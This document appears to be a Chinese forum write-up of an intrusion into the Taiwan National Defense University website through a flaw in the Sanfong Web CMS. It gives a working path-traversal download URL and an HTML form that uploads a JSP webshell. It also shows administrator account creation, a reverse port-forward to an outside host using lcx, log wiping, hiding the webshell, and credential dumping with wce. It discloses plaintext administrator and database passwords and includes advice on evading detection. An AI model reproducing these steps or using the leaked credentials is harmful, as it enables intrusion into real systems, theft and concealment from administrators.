伸峰科技股份有限公司开发的Sanfong Web系统是一套非开源商业Java程序,这套系统目前已经下架,市面仍有使用
。
漏洞发现者与伸峰科技(+886-2-2956-3839)联系后,希望告知Sanfong公司漏洞细节并要求Sanfong公司告知还在使用的用户停止使用存在漏洞的系统,Sanfong公司以产品下架和认为勒索拒绝与漏洞发现者交流,漏洞发现者认为自己没有义务和责任为开发公司无偿提供技术细节,决定在习科公布该漏洞细节,有好事者可继续与该公司取得联系。
漏洞发现于2012年,文中案例以台湾国防大学为例,案例时间为2013年,本漏洞开放时间2018年(5年整)。
台湾国防大学主站曾使用SanfongWeb,于2014年更换。
目标名称:國防大學全球資訊網
网站域名:www.ndu.edu.tw
操作系统:Windows IBM System x3550 32bit
服务器ip:210.71.44.173
计算机名:WINDOWS-KV4I2S3
#此信息现在可能已有所变更
通过对网站html代码分析发现网站存在任意文件下载漏洞
/downLoad.do?opr=download&fileName_real_name=1.txt&fileName=../../WEB-INF/web.xml
下载web.xml
文件分析其结构,整站程序是由struts1.2 + hibernate
开发:
继续下载web-inf-status-onfig.xml
搜索file
关键字发现了2个类处理file文件
com.buildsite.struts.action.ResourcFileAction com.buildsite.business .ResourceFileOP(服务层处理类) com.buildsite.struts.action.FileManagerAction
继续下载这个2个文件反编译看源代码是否有上传漏洞。
文件中的“.
”对应的是路径中的“/
”, 因此com.buildsite.struts.action.ResourcFileAction
对应的是/WEB-INF/classes/com/buildsite/struts/action/ResourcFileAction.class
。
下载相应的class文件后本地可以用反编译文件逆向出源码来审计。
第一个ResourcFileAction
的文件源码里发现很多处理文件的,通过对程序源码的审计分析出upload部分确实有上传文件。
进一步通过对ResourceFileOP
文件逆向源码分析出变量 type
取值为66的时候不会判断扩展名,储存的路径为/doc
目录,于是可以通过代码的参数逆向出上传文件的html表单,修改后可以直接上传jsp的webshell后门。
构造html上传表单如下
<form name="bulletinForm" action="http://www.ndu.edu.tw/resourceFile.do?method=upload&typeid=66" method="post" enctype="multipart/form-data"> <input type="hidden" name="filename" value="1.jsp"> <input type="hidden" name="filedir" value="temp"> <input type="hidden" name="filedesc" value="temp.jsp"> <input type="hidden" name="unitId" value="183"> <tr><td colspan="2">插入图片</td></tr> <tr><td><input type="file" name="fileurl" id="imageFile"></td><td>描述图片<input name="description" id="description"></td></tr> <tr><td colspan="2"><input type="submit" value="提交"></td></tr> </form>
上面的表达虽然很多变量是自定义的,但是通过上面的源码可以知道上传到服务器的文件其实是根据服务器的时间自行命名的。因为每一秒生成的文件的名称都不一样,因此很难找到上传后的路径。本来想通过穷举访问得到系统生成的webshell地址,但是获取失败。通过http头部信息发现服务器时间与实际时间相差8个小时
生成时间太难控制,因此另寻他路。
在FileManagerAction
代码中发现有权限控制,但是可惜没绕过。只好继续回到最初的地方。上面的上传虽然提示成功,但是没返回路径,抓包也抓不到,于是用到比较笨的方法。
继续逆向相关的函数,发现有个函数是查看所有文件的,只要猜对了上传的Id。
经过二分法查找,发现前面的上传文件的id为3375。通过如下地址可以确认id是正确的
http://www.ndu.edu.tw/resourceFile.do?method=editPage&unitId=183&id=3375
继续对代码进行逆向:
发现新的函数可以获取地址,于是 webshell 地址返回成功:
http://www.ndu.edu.tw/resourceFile.do?method=viewModifyPage&unitId=183&id=3375
最终成功得到正确的webshell地址
服务器提权较为简单,因为默认Tomcat就是System
权限,可以直接添加最高权限的账户。国防大学的ip虽为外网,但网关处限制,无法直接连接80以外的端口。
首先是添加账户,因为系统是ibm定制版,所以有点特殊。另外账户有密码复杂程度限制策略,同时又不支持12位以上的密码。
net user Apache silic@1234 /add
满足密码策略,成功添加用户后也可顺利加入管理组。
执行netstat -ano
和tasklist
命令筛选当中的端口、PID、进程名:
TCP 0.0.0.0:2233 0.0.0.0:0 LISTENING 1216
svchost.exe 1216 Services 0 22,156 K
通过PID的对比和筛选发现远程桌面的端口为2233,不过网关将外网的连接都屏蔽了,用jsp的Socket反弹脚本可以将端口反向转发出来:
http://www.ndu.edu.tw/doc/20130811011408.jsp?localIP=127.0.0.1&localPort=2233&remoteIP=140.117.20.*&remotePort=3333
不过要先在140.117.20.*上面执行lcx的监听和端口转发:
Lcx -l 3333 4444
然后访问上面的url地址就可以将国防大学主站的2233端口转发到140.117.20.*的3333端口上了,在140.117.20.*上面建立远程连接127.0.0.1:4444最终就连接上了国防大学服务器的远程桌面。
登陆后首先清理windows日志与tomcat的日志。然后通过attrib
命令将webshell文件添加系统
、只读
和隐藏
属性。
如果网关有记录流量的功能,应该将流量按天错开,避免单日流量过高导致管理员被发现。
虽然系统很像Server 2k8 R2,但实际这是IBM的特别定制版的32位操作系统。用32位的wce读到系统管理员密码明文,以便进一步驻扎。
读到的管理员名称以及明文密码为:
Webadmin/WINDOWS-KV4I2S3/ndu&303828
服务器的数据库的配置文件在:E:/TOMCAT6/webapps/ROOT/WEB-INF/classes/hibernate.cfg.xml
打开后得到数据库连接信息如下:
<!-- local connection properties . Change DB default launched:buildsite --> <property name="hibernate.connection.url"> jdbc:jtds:sqlserver://140.132.219.40:1433;DatabaseName=webdb </property> <property name="hibernate.connection.driver_class"> net.sourceforge.jtds.jdbc.Driver <property name="hibernate.connection.username">lynn</property> <property name="hibernate.connection.password">lynn&1016</property>
系统上面有MSSQL
环境和 SQL Management Studio
,直接打开连接: